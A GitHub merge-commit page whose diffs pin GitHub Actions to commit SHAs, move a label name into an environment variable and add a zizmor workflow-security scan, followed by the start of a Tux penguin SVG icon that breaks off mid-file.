Merge branch 'main' into vscode-web-cli

This commit is contained in:
Atif Ali 2026-02-10 10:25:08 +05:00 committed by GitHub
commit 08bd84c529
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
46 changed files with 2429 additions and 413 deletions

View File

@ -11,7 +11,7 @@ jobs:
steps: steps:
- name: Checkout repository - name: Checkout repository
uses: actions/checkout@v6 uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- name: Run check.sh - name: Run check.sh
run: | run: |

View File

@ -12,9 +12,9 @@ jobs:
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- name: Check out code - name: Check out code
uses: actions/checkout@v6 uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- name: Detect changed files - name: Detect changed files
uses: dorny/paths-filter@v3 uses: dorny/paths-filter@de90cc6fb38fc0963ad72b210f1f284cd68cea36 # v3
id: filter id: filter
with: with:
list-files: shell list-files: shell
@ -37,9 +37,9 @@ jobs:
all: all:
- '**' - '**'
- name: Set up Terraform - name: Set up Terraform
uses: coder/coder/.github/actions/setup-tf@main uses: coder/coder/.github/actions/setup-tf@b5360a9180613328a62d64efcfaac5a31980c746 # v2.29.2
- name: Set up Bun - name: Set up Bun
uses: oven-sh/setup-bun@v2 uses: oven-sh/setup-bun@3d267786b128fe76c2f16a390aa2448b815359f3 # v2
with: with:
# We're using the latest version of Bun for now, but it might be worth # We're using the latest version of Bun for now, but it might be worth
# reconsidering. They've pushed breaking changes in patch releases # reconsidering. They've pushed breaking changes in patch releases
@ -80,20 +80,20 @@ jobs:
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- name: Check out code - name: Check out code
uses: actions/checkout@v6 uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- name: Install Bun - name: Install Bun
uses: oven-sh/setup-bun@v2 uses: oven-sh/setup-bun@3d267786b128fe76c2f16a390aa2448b815359f3 # v2
with: with:
bun-version: latest bun-version: latest
# Need Terraform for its formatter # Need Terraform for its formatter
- name: Install Terraform - name: Install Terraform
uses: coder/coder/.github/actions/setup-tf@main uses: coder/coder/.github/actions/setup-tf@b5360a9180613328a62d64efcfaac5a31980c746 # v2.29.2
- name: Install dependencies - name: Install dependencies
run: bun install run: bun install
- name: Validate formatting - name: Validate formatting
run: bun fmt:ci run: bun fmt:ci
- name: Check for typos - name: Check for typos
uses: crate-ci/typos@v1.41.0 uses: crate-ci/typos@65120634e79d8374d1aa2f27e54baa0c364fff5a # v1.42.1
with: with:
config: .github/typos.toml config: .github/typos.toml
validate-readme-files: validate-readme-files:
@ -104,9 +104,9 @@ jobs:
needs: validate-style needs: validate-style
steps: steps:
- name: Check out code - name: Check out code
uses: actions/checkout@v6 uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- name: Set up Go - name: Set up Go
uses: actions/setup-go@v6 uses: actions/setup-go@7a3fe6cf4cb3a834922a1244abfce67bcef6a0c5 # v6
with: with:
go-version: "1.24.0" go-version: "1.24.0"
- name: Validate contributors - name: Validate contributors

View File

@ -28,7 +28,7 @@ jobs:
steps: steps:
- name: Checkout code - name: Checkout code
uses: actions/checkout@v6 uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- name: Authenticate with Google Cloud - name: Authenticate with Google Cloud
uses: google-github-actions/auth@7c6bc770dae815cd3e89ee6cdf493a5fab2cc093 uses: google-github-actions/auth@7c6bc770dae815cd3e89ee6cdf493a5fab2cc093
with: with:

View File

@ -14,11 +14,11 @@ jobs:
name: lint name: lint
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v6 - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- uses: actions/setup-go@v6 - uses: actions/setup-go@7a3fe6cf4cb3a834922a1244abfce67bcef6a0c5 # v6
with: with:
go-version: stable go-version: stable
- name: golangci-lint - name: golangci-lint
uses: golangci/golangci-lint-action@v9 uses: golangci/golangci-lint-action@1e7e51e771db61008b38414a730f564565cf7c20 # v9
with: with:
version: v2.1 version: v2.1

View File

@ -14,7 +14,7 @@ jobs:
steps: steps:
- name: Checkout code - name: Checkout code
uses: actions/checkout@v6 uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with: with:
fetch-depth: 0 fetch-depth: 0
persist-credentials: false persist-credentials: false
@ -89,9 +89,9 @@ jobs:
for sha in $MODULE_COMMIT_SHAS; do for sha in $MODULE_COMMIT_SHAS; do
SHORT_SHA=${sha:0:7} SHORT_SHA=${sha:0:7}
COMMIT_LINES=$(echo "$FULL_CHANGELOG" | grep -E "$SHORT_SHA|$(git log --format='%s' -n 1 $sha)" || true) COMMIT_LINES=$(echo "$FULL_CHANGELOG" | grep -E "$SHORT_SHA|$(git log --format='%s' -n 1 $sha)" || true)
if [ -n "$COMMIT_LINES" ]; then if [ -n "$COMMIT_LINES" ]; then
FILTERED_CHANGELOG="${FILTERED_CHANGELOG}${COMMIT_LINES}\n" FILTERED_CHANGELOG="${FILTERED_CHANGELOG}${COMMIT_LINES}\n"
else else

View File

@ -20,26 +20,28 @@ jobs:
issues: write issues: write
steps: steps:
- name: Checkout code - name: Checkout code
uses: actions/checkout@v6 uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with: with:
fetch-depth: 0 fetch-depth: 0
token: ${{ secrets.GITHUB_TOKEN }} token: ${{ secrets.GITHUB_TOKEN }}
- name: Set up Bun - name: Set up Bun
uses: oven-sh/setup-bun@v2 uses: oven-sh/setup-bun@3d267786b128fe76c2f16a390aa2448b815359f3 # v2
with: with:
bun-version: latest bun-version: latest
- name: Set up Terraform - name: Set up Terraform
uses: coder/coder/.github/actions/setup-tf@main uses: coder/coder/.github/actions/setup-tf@b5360a9180613328a62d64efcfaac5a31980c746 # v2.29.2
- name: Install dependencies - name: Install dependencies
run: bun install run: bun install
- name: Extract bump type from label - name: Extract bump type from label
env:
LABEL_NAME: ${{ github.event.label.name }}
id: bump-type id: bump-type
run: | run: |
case "${{ github.event.label.name }}" in case "$LABEL_NAME" in
"version:patch") "version:patch")
echo "type=patch" >> $GITHUB_OUTPUT echo "type=patch" >> $GITHUB_OUTPUT
;; ;;
@ -50,7 +52,7 @@ jobs:
echo "type=major" >> $GITHUB_OUTPUT echo "type=major" >> $GITHUB_OUTPUT
;; ;;
*) *)
echo "Invalid version label: ${{ github.event.label.name }}" echo "Invalid version label: ${LABEL_NAME}"
exit 1 exit 1
;; ;;
esac esac
@ -60,7 +62,7 @@ jobs:
- name: Comment on PR - Version bump required - name: Comment on PR - Version bump required
if: failure() if: failure()
uses: actions/github-script@v8 uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
with: with:
github-token: ${{ secrets.GITHUB_TOKEN }} github-token: ${{ secrets.GITHUB_TOKEN }}
script: | script: |

55
.github/workflows/zizmor.yaml vendored Normal file
View File

@ -0,0 +1,55 @@
name: GitHub Actions Security Analysis (zizmor)
on:
pull_request:
branches: ["**"]
paths:
- ".github/workflows/**"
push:
branches: ["main"]
paths:
- ".github/workflows/**"
workflow_dispatch:
permissions: {}
jobs:
zizmor_pr_blocking:
if: github.event_name == 'pull_request'
runs-on: ubuntu-latest
permissions:
contents: read
actions: read
steps:
- name: Checkout repository
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with:
persist-credentials: false
- name: Run zizmor (blocking, HIGH only)
uses: zizmorcore/zizmor-action@135698455da5c3b3e55f73f4419e481ab68cdd95 # v0.4.1
with:
advanced-security: false
annotations: true
min-severity: high
inputs: |
.github/workflows
zizmor_main_sarif:
if: github.event_name != 'pull_request'
runs-on: ubuntu-latest
permissions:
security-events: write
contents: read
actions: read
steps:
- name: Checkout repository
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with:
persist-credentials: false
- name: Run zizmor (SARIF)
uses: zizmorcore/zizmor-action@135698455da5c3b3e55f73f4419e481ab68cdd95 # v0.4.1
with:
inputs: |
.github/workflows

438
.icons/linux.svg Normal file
View File

@ -0,0 +1,438 @@
<?xml version="1.0" encoding="utf-8"?>
<svg version="1.1" viewBox="0 0 216 256" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<title>Tux</title>
<defs id="tux_fx">
<linearGradient id="gradient_belly_shadow">
<stop offset="0" stop-color="#000000"/>
<stop offset="1" stop-color="#000000" stop-opacity="0.25"/>
</linearGradient>
<linearGradient id="gradient_wing_tip_right_shadow">
<stop offset="0" stop-color="#110800"/>
<stop offset="0.59" stop-color="#a65a00" stop-opacity="0.8"/>
<stop offset="1" stop-color="#ff921e" stop-opacity="0"/>
</linearGradient>
<linearGradient id="gradient_wing_tip_right_glare_1">
<stop offset="0" stop-color="#7c7c7c"/>
<stop offset="1" stop-color="#7c7c7c" stop-opacity="0.33"/>
</linearGradient>
<linearGradient id="gradient_wing_tip_right_glare_2">
<stop offset="0" stop-color="#7c7c7c"/>
<stop offset="1" stop-color="#7c7c7c" stop-opacity="0.33"/>
</linearGradient>
<linearGradient id="gradient_foot_left_layer_1">
<stop offset="0" stop-color="#b98309"/>
<stop offset="1" stop-color="#382605"/>
</linearGradient>
<linearGradient id="gradient_foot_left_glare">
<stop offset="0" stop-color="#ebc40c"/>
<stop offset="1" stop-color="#ebc40c" stop-opacity="0"/>
</linearGradient>
<linearGradient id="gradient_foot_right_shadow">
<stop offset="0" stop-color="#000000"/>
<stop offset="1" stop-color="#000000" stop-opacity="0"/>
</linearGradient>
<linearGradient id="gradient_foot_right_layer_1">
<stop offset="0" stop-color="#3e2a06"/>
<stop offset="1" stop-color="#ad780a"/>
</linearGradient>
<linearGradient id="gradient_foot_right_glare">
<stop offset="0" stop-color="#f3cd0c"/>
<stop offset="1" stop-color="#f3cd0c" stop-opacity="0"/>
</linearGradient>
<linearGradient id="gradient_eyeball">
<stop offset="0" stop-color="#fefefc"/>
<stop offset="0.75" stop-color="#fefefc"/>
<stop offset="1" stop-color="#d4d4d4"/>
</linearGradient>
<linearGradient id="gradient_pupil_left_glare">
<stop offset="0" stop-color="#757574" stop-opacity="0"/>
<stop offset="0.25" stop-color="#757574"/>
<stop offset="0.5" stop-color="#757574"/>
<stop offset="1" stop-color="#757574" stop-opacity="0"/>
</linearGradient>
<linearGradient id="gradient_pupil_right_glare_2">
<stop offset="0" stop-color="#949494" stop-opacity="0.39"/>
<stop offset="0.5" stop-color="#949494"/>
<stop offset="1" stop-color="#949494" stop-opacity="0.39"/>
</linearGradient>
<linearGradient id="gradient_eyelid_left">
<stop offset="0" stop-color="#c8c8c8"/>
<stop offset="1" stop-color="#797978"/>
</linearGradient>
<linearGradient id="gradient_eyelid_right">
<stop offset="0" stop-color="#747474"/>
<stop offset="0.13" stop-color="#8c8c8c"/>
<stop offset="0.25" stop-color="#a4a4a4"/>
<stop offset="0.5" stop-color="#d4d4d4"/>
<stop offset="0.62" stop-color="#d4d4d4"/>
<stop offset="1" stop-color="#7c7c7c"/>
</linearGradient>
<linearGradient id="gradient_eyebrow">
<stop offset="0" stop-color="#646464" stop-opacity="0"/>
<stop offset="0.31" stop-color="#646464" stop-opacity="0.58"/>
<stop offset="0.47" stop-color="#646464"/>
<stop offset="0.73" stop-color="#646464" stop-opacity="0.26"/>
<stop offset="1" stop-color="#646464" stop-opacity="0"/>
</linearGradient>
<linearGradient id="gradient_beak_base">
<stop offset="0" stop-color="#020204"/>
<stop offset="0.73" stop-color="#020204"/>
<stop offset="1" stop-color="#5c5c5c"/>
</linearGradient>
<linearGradient id="gradient_mandible_lower">
<stop offset="0" stop-color="#d2940a"/>
<stop offset="0.75" stop-color="#d89c08"/>
<stop offset="0.87" stop-color="#b67e07"/>
<stop offset="1" stop-color="#946106"/>
</linearGradient>
<linearGradient id="gradient_mandible_upper">
<stop offset="0" stop-color="#ad780a"/>
<stop offset="0.12" stop-color="#d89e08"/>
<stop offset="0.25" stop-color="#edb80b"/>
<stop offset="0.39" stop-color="#ebc80d"/>
<stop offset="0.53" stop-color="#f5d838"/>
<stop offset="0.77" stop-color="#f6d811"/>
<stop offset="1" stop-color="#f5cd31"/>
</linearGradient>
<linearGradient id="gradient_nares">
<stop offset="0" stop-color="#3a2903"/>
<stop offset="0.55" stop-color="#735208"/>
<stop offset="1" stop-color="#ac8c04"/>
</linearGradient>
<linearGradient id="gradient_beak_corner">
<stop offset="0" stop-color="#f5ce2d"/>
<stop offset="1" stop-color="#d79b08"/>
</linearGradient>
<radialGradient id="fill_belly_shadow_left" href="#gradient_belly_shadow" xlink:href="#gradient_belly_shadow"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(61.18,121.19) scale(19,18)"/>
<radialGradient id="fill_belly_shadow_right" href="#gradient_belly_shadow" xlink:href="#gradient_belly_shadow"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(125.74,131.6) scale(23.6,18)"/>
<radialGradient id="fill_belly_shadow_middle" href="#gradient_belly_shadow" xlink:href="#gradient_belly_shadow"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(94.21,127.47) scale(9.35,10)"/>
<linearGradient id="fill_foot_left_base" href="#gradient_foot_left_layer_1" xlink:href="#gradient_foot_left_layer_1"
gradientUnits="userSpaceOnUse" x1="23.18" y1="193.01" x2="64.31" y2="262.02"/>
<linearGradient id="fill_foot_left_glare" href="#gradient_foot_left_glare" xlink:href="#gradient_foot_left_glare"
gradientUnits="userSpaceOnUse" x1="64.47" y1="210.83" x2="77.41" y2="235.21"/>
<linearGradient id="fill_foot_right_shadow" href="#gradient_foot_right_shadow" xlink:href="#gradient_foot_right_shadow"
gradientUnits="userSpaceOnUse" x1="146.93" y1="211.96" x2="150.2" y2="235.73"/>
<linearGradient id="fill_foot_right_base" href="#gradient_foot_right_layer_1" xlink:href="#gradient_foot_right_layer_1"
gradientUnits="userSpaceOnUse" x1="151.5" y1="253.02" x2="192.94" y2="185.84"/>
<linearGradient id="fill_foot_right_glare" href="#gradient_foot_right_glare" xlink:href="#gradient_foot_right_glare"
gradientUnits="userSpaceOnUse" x1="162.81" y1="180.67" x2="161.59" y2="191.64"/>
<radialGradient id="fill_wing_tip_right_shadow_lower" href="#gradient_wing_tip_right_shadow" xlink:href="#gradient_wing_tip_right_shadow"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(169.71,194.53) rotate(15) scale(19.66,20.64)"/>
<radialGradient id="fill_wing_tip_right_shadow_upper" href="#gradient_wing_tip_right_shadow" xlink:href="#gradient_wing_tip_right_shadow"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(169.71,189.89) rotate(-2.42) scale(19.74,14.86)"/>
<radialGradient id="fill_wing_tip_right_glare_1" href="#gradient_wing_tip_right_glare_1" xlink:href="#gradient_wing_tip_right_glare_1"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(184.65,176.62) rotate(23.5) scale(6.95,3.21)"/>
<linearGradient id="fill_wing_tip_right_glare_2" href="#gradient_wing_tip_right_glare_2" xlink:href="#gradient_wing_tip_right_glare_2"
gradientUnits="userSpaceOnUse" x1="165.69" y1="173.58" x2="168.27" y2="173.47"/>
<radialGradient id="fill_eyeball_left" href="#gradient_eyeball" xlink:href="#gradient_eyeball"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(86.49,51.41) rotate(-0.6) scale(10.24,15.68)"/>
<linearGradient id="fill_pupil_left_glare" href="#gradient_pupil_left_glare" xlink:href="#gradient_pupil_left_glare"
gradientUnits="userSpaceOnUse" x1="84.29" y1="46.64" x2="89.32" y2="55.63"/>
<radialGradient id="fill_eyelid_left" href="#gradient_eyelid_left" xlink:href="#gradient_eyelid_left"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(84.89,43.74) rotate(-9.35) scale(6.25,5.77)"/>
<linearGradient id="fill_eyebrow_left" href="#gradient_eyebrow" xlink:href="#gradient_eyebrow"
gradientUnits="userSpaceOnUse" x1="83.59" y1="32.51" x2="94.48" y2="43.63"/>
<radialGradient id="fill_eyeball_right" href="#gradient_eyeball" xlink:href="#gradient_eyeball"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(118.06,51.41) rotate(-1.8) scale(13.64,15.68)"/>
<linearGradient id="fill_pupil_right_glare" href="#gradient_pupil_right_glare_2" xlink:href="#gradient_pupil_right_glare_2"
gradientUnits="userSpaceOnUse" x1="117.87" y1="47.25" x2="123.66" y2="54.11"/>
<linearGradient id="fill_eyelid_right" href="#gradient_eyelid_right" xlink:href="#gradient_eyelid_right"
gradientUnits="userSpaceOnUse" x1="112.9" y1="36.23" x2="131.32" y2="47.01"/>
<linearGradient id="fill_eyebrow_right" href="#gradient_eyebrow" xlink:href="#gradient_eyebrow"
gradientUnits="userSpaceOnUse" x1="119.16" y1="31.56" x2="131.42" y2="43.14"/>
<radialGradient id="fill_beak_base" href="#gradient_beak_base" xlink:href="#gradient_beak_base"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(97.64,60.12) rotate(-36) scale(11.44,10.38)"/>
<radialGradient id="fill_mandible_lower_base" href="#gradient_mandible_lower" xlink:href="#gradient_mandible_lower"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(109.77,70.61) rotate(-22.4) scale(27.15,19.07)"/>
<linearGradient id="fill_mandible_upper_base" href="#gradient_mandible_upper" xlink:href="#gradient_mandible_upper"
gradientUnits="userSpaceOnUse" x1="78.09" y1="69.26" x2="126.77" y2="68.88"/>
<radialGradient id="fill_naris_left" href="#gradient_nares" xlink:href="#gradient_nares"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(92.11,59.88) scale(1.32,1.42)"/>
<radialGradient id="fill_naris_right" href="#gradient_nares" xlink:href="#gradient_nares"
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(104.65,59.7) scale(2.78,1.62)"/>
<linearGradient id="fill_beak_corner" href="#gradient_beak_corner" xlink:href="#gradient_beak_corner"
gradientUnits="userSpaceOnUse" x1="126.74" y1="67.49" x2="126.74" y2="71.09"/>
<filter id="blur_belly_shadow_left">
<feGaussianBlur stdDeviation="0.64 0.55"/>
</filter>
<filter id="blur_belly_shadow_right">
<feGaussianBlur stdDeviation="0.98"/>
</filter>
<filter id="blur_belly_shadow_middle">
<feGaussianBlur stdDeviation="0.68"/>
</filter>
<filter id="blur_belly_shadow_lower" x="-0.8" width="2.6" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="1.25"/>
</filter>
<filter id="blur_belly_glare" x="-0.8" width="2.6" y="-0.5" height="2">
<feGaussianBlur stdDeviation="1.78 2.19"/>
</filter>
<filter id="blur_head_glare" x="-0.3" width="1.6" y="-0.3" height="1.6">
<feGaussianBlur stdDeviation="1.73"/>
</filter>
<filter id="blur_neck_glare" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="0.78"/>
</filter>
<filter id="blur_wing_left_glare" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="0.98"/>
</filter>
<filter id="blur_wing_right_glare" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="1.19 1.17"/>
</filter>
<filter id="blur_foot_left_layer_1" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="3.38"/>
</filter>
<filter id="blur_foot_left_layer_2">
<feGaussianBlur stdDeviation="2.1 2.06"/>
</filter>
<filter id="blur_foot_left_glare">
<feGaussianBlur stdDeviation="0.32"/>
</filter>
<filter id="blur_foot_right_shadow">
<feGaussianBlur stdDeviation="1.95 1.9"/>
</filter>
<filter id="blur_foot_right_layer_1" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="4.12"/>
</filter>
<filter id="blur_foot_right_layer_2" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="3.12 3.37"/>
</filter>
<filter id="blur_foot_right_glare" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="0.41"/>
</filter>
<filter id="blur_wing_tip_right_shadow_lower" x="-0.3" width="1.6" y="-0.3" height="1.6">
<feGaussianBlur stdDeviation="2.45"/>
</filter>
<filter id="blur_wing_tip_right_shadow_upper" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="1.12 0.81"/>
</filter>
<filter id="blur_wing_tip_right_glare" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="0.88"/>
</filter>
<filter id="blur_pupil_left_glare" x="-0.3" width="1.6" y="-0.3" height="1.6">
<feGaussianBlur stdDeviation="0.44"/>
</filter>
<filter id="blur_eyebrow_left">
<feGaussianBlur stdDeviation="0.12"/>
</filter>
<filter id="blur_pupil_right_glare" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="0.45"/>
</filter>
<filter id="blur_eyebrow_right">
<feGaussianBlur stdDeviation="0.13"/>
</filter>
<filter id="blur_beak_shadow_lower" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="1.75"/>
</filter>
<filter id="blur_beak_shadow_upper">
<feGaussianBlur stdDeviation="0.8 0.74"/>
</filter>
<filter id="blur_mandible_lower_glare" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="0.77"/>
</filter>
<filter id="blur_mandible_upper_shadow">
<feGaussianBlur stdDeviation="0.65"/>
</filter>
<filter id="blur_mandible_upper_glare" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="0.73"/>
</filter>
<filter id="blur_naris_left" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="0.1"/>
</filter>
<filter id="blur_naris_right">
<feGaussianBlur stdDeviation="0.1"/>
</filter>
<filter id="blur_beak_corner" x="-0.2" width="1.4" y="-0.2" height="1.4">
<feGaussianBlur stdDeviation="0.23"/>
</filter>
<clipPath id="clip_body">
<use href="#body_base" xlink:href="#body_base"/>
</clipPath>
<clipPath id="clip_wing_left">
<use href="#wing_left_base" xlink:href="#wing_left_base"/>
</clipPath>
<clipPath id="clip_wing_right">
<use href="#wing_right_base" xlink:href="#wing_right_base"/>
</clipPath>
<clipPath id="clip_foot_left">
<use href="#foot_left_base" xlink:href="#foot_left_base"/>
</clipPath>
<clipPath id="clip_foot_right">
<use href="#foot_right_base" xlink:href="#foot_right_base"/>
</clipPath>
<clipPath id="clip_wing_tip_right">
<use href="#wing_tip_right_base" xlink:href="#wing_tip_right_base"/>
</clipPath>
<clipPath id="clip_eye_left">
<use href="#eyeball_left" xlink:href="#eyeball_left"/>
</clipPath>
<clipPath id="clip_pupil_left">
<use href="#pupil_left_base" xlink:href="#pupil_left_base"/>
</clipPath>
<clipPath id="clip_eye_right">
<use href="#eyeball_right" xlink:href="#eyeball_right"/>
</clipPath>
<clipPath id="clip_pupil_right">
<use href="#pupil_right_base" xlink:href="#pupil_right_base"/>
</clipPath>
<clipPath id="clip_mandible_lower">
<use href="#mandible_lower_base" xlink:href="#mandible_lower_base"/>
</clipPath>
<clipPath id="clip_mandible_upper">
<use href="#mandible_upper_base" xlink:href="#mandible_upper_base"/>
</clipPath>
<clipPath id="clip_beak">
<use href="#mandible_lower_base" xlink:href="#mandible_lower_base"/>
<use href="#mandible_upper_base" xlink:href="#mandible_upper_base"/>
</clipPath>
</defs>
<g id="tux">
<g id="body">
<path id="body_base" fill="#020204"
d="m 106.95,0 c -6,0 -12.02,1.18 -17.46,4.12 -5.78,3.11 -10.52,8.09 -13.43,13.97 -2.92,5.88 -4.06,12.16 -4.24,19.08 -0.33,13.14 0.3,26.92 1.29,39.41 0.26,3.8 0.74,6.02 0.25,9.93 -1.62,8.3 -8.88,13.88 -12.76,21.17 -4.27,8.04 -6.07,17.13 -9.29,25.65 -2.95,7.79 -7.09,15.1 -9.88,22.95 -3.91,10.97 -5.08,23.03 -2.5,34.39 1.97,8.66 6.08,16.78 11.62,23.73 -0.8,1.44 -1.58,2.91 -2.4,4.34 -2.57,4.43 -5.71,8.64 -7.17,13.55 -0.73,2.45 -1.02,5.07 -0.55,7.59 0.47,2.52 1.75,4.93 3.75,6.53 1.31,1.04 2.9,1.72 4.53,2.1 1.63,0.37 3.32,0.46 5,0.43 6.37,-0.14 12.55,-2.07 18.71,-3.69 3.66,-0.96 7.34,-1.81 11.03,-2.58 13.14,-2.69 27.8,-1.61 39.99,0.15 4.13,0.63 8.23,1.44 12.29,2.43 6.36,1.54 12.69,3.5 19.23,3.69 1.72,0.05 3.46,-0.03 5.14,-0.4 1.68,-0.38 3.31,-1.06 4.65,-2.13 2.01,-1.6 3.29,-4.02 3.76,-6.54 0.47,-2.52 0.18,-5.15 -0.56,-7.61 -1.48,-4.92 -4.65,-9.11 -7.27,-13.52 -1.04,-1.75 -2,-3.53 -3.03,-5.28 7.9,-8.87 14.26,-19.13 17.94,-30.4 4.01,-12.3 4.75,-25.55 3.06,-38.38 -1.69,-12.83 -5.76,-25.27 -11.11,-37.05 -6.72,-14.76 -12.37,-20.1 -16.47,-33.07 -4.42,-14.02 -0.77,-30.61 -4.06,-43.32 -1.17,-4.32 -3.04,-8.45 -5.45,-12.23 -2.82,-4.43 -6.4,-8.39 -10.65,-11.47 -6.78,-4.92 -15.3,-7.54 -23.96,-7.54 z"/>
<path id="belly" fill="#fdfdfb"
d="m 83.13,74 c -0.9,1.13 -1.48,2.49 -1.84,3.89 -0.35,1.4 -0.48,2.85 -0.54,4.3 -0.11,2.89 0.07,5.83 -0.7,8.62 -0.82,2.98 -2.65,5.57 -4.44,8.08 -3.11,4.36 -6.25,8.84 -7.78,13.97 -0.93,3.1 -1.24,6.39 -0.91,9.62 -3.47,5.1 -6.48,10.53 -8.98,16.18 -3.78,8.57 -6.37,17.69 -7.28,27.01 -1.12,11.41 0.34,23.15 4.85,33.69 3.25,7.63 8.11,14.6 14.38,20.04 3.18,2.76 6.72,5.11 10.5,6.97 13.11,6.45 29.31,6.46 42.2,-0.41 6.74,-3.59 12.43,-8.84 17.91,-14.15 3.3,-3.2 6.59,-6.48 9.11,-10.32 4.85,-7.41 6.54,-16.41 7.59,-25.2 1.83,-15.36 1.89,-31.6 -4.85,-45.53 -2.32,-4.8 -5.41,-9.22 -9.12,-13.05 -0.98,-6.7 -2.93,-13.27 -5.76,-19.42 -2.05,-4.45 -4.54,-8.68 -6.44,-13.18 -0.78,-1.85 -1.46,-3.75 -2.32,-5.56 -0.87,-1.81 -1.93,-3.55 -3.39,-4.94 -1.48,-1.42 -3.33,-2.43 -5.28,-3.07 -1.95,-0.65 -4.01,-0.94 -6.06,-1.04 -4.11,-0.21 -8.22,0.33 -12.33,0.16 -3.27,-0.13 -6.53,-0.7 -9.8,-0.51 -1.63,0.1 -3.26,0.39 -4.78,1.01 -1.52,0.61 -2.92,1.56 -3.94,2.84 z"/>
<g id="body_self_shadows">
<path id="belly_shadow_left" opacity="0.25" fill="url(#fill_belly_shadow_left)" filter="url(#blur_belly_shadow_left)" clip-path="url(#clip_body)"
d="m 68.67,115.18 c 0.87,1.31 -0.55,5.84 19.86,2.94 0,0 -3.59,0.39 -7.12,1.21 -5.49,1.84 -10.27,3.89 -13.97,6.61 -3.65,2.7 -6.33,6.21 -9.68,9.22 0,0 5.43,-9.92 6.78,-12.91 1.36,-2.99 -0.22,-2.85 0.85,-7.25 1.07,-4.4 3.69,-8.63 3.69,-8.63 0,0 -2.14,6.22 -0.41,8.81 z"/>
<path id="belly_shadow_right" opacity="0.42" fill="url(#fill_belly_shadow_right)" filter="url(#blur_belly_shadow_right)" clip-path="url(#clip_body)"
d="m 134.28,113.99 c -4.16,2.9 -6.6,2.56 -11.64,3.12 -5.05,0.57 -18.7,0.36 -18.7,0.36 0,0 1.97,-0.03 6.36,0.78 4.38,0.82 13.31,1.6 18.34,3.51 5.04,1.92 6.87,2.47 9.93,4.4 4.35,2.75 7.55,7.06 11.71,10.08 0,0 0.2,-4 -1.48,-6.99 -1.68,-2.99 -6.2,-7.7 -7.53,-12.1 -1.32,-4.4 -1.96,-13.04 -1.96,-13.04 0,0 -0.88,6.99 -5.03,9.88 z"/>
<path id="belly_shadow_middle" opacity="0.2" fill="url(#fill_belly_shadow_middle)" filter="url(#blur_belly_shadow_middle)" clip-path="url(#clip_body)"
